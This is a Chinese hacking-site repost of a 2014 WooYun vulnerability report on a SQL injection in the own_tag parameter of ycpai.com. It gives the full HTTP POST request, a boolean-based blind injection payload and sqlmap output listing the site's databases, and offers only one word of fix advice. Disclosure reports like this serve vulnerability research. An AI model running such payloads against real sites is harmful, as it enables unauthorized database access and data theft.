记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

缘创派某处SQL注射漏洞

2014-11-16 04:35

code 区域
POST /tags/book_tag/2 HTTP/1.1

Host: www.ycpai.com

Proxy-Connection: keep-alive

Content-Length: 53

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://www.ycpai.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://www.ycpai.com/tags/book_tag/2

Accept-Encoding: gzip,deflate

Accept-Language: zh-TW,zh;q=0.8,zh-CN;q=0.6

Cookie: Cookie

Connection: Keep-Alive



tag_ids%5B%5D=355&own_tag%5B%5D=355&tag_ids%5B%5D=347





记得上一个漏洞 WooYun: 缘创派某处SQL注射漏洞

是tag_ids,你们是修复了,但这同时 own_tag 也是存在同样的问题



漏洞证明:

code 区域
---

Place: (custom) POST

Parameter: #1*

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: tag_ids[]=355&own_tag[]=355-(if((1=1) AND 3796=3796 AND (9550=9550),1,(select 1 union select 2)))&tag_ids[]=347

---



[22:34:27] [INFO] testing MySQL

[22:34:27] [INFO] confirming MySQL

[22:34:27] [INFO] the back-end DBMS is MySQL



web application technology: Nginx, PHP 5.3.27

back-end DBMS: MySQL >= 5.0.0

[22:34:27] [INFO] fetching database names

[22:34:27] [INFO] fetching number of databases

[22:34:27] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[22:34:27] [INFO] retrieved: 2

[22:34:30] [INFO] retrieved: information_schema

[22:35:41] [INFO] retrieved: app_ycpai

available databases [2]:

[*] app_ycpai

[*] information_schema

修复方案:

过滤

知识来源: www.wooyun.org/bugs/wooyun-2014-078089

阅读:258676 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“缘创派某处SQL注射漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云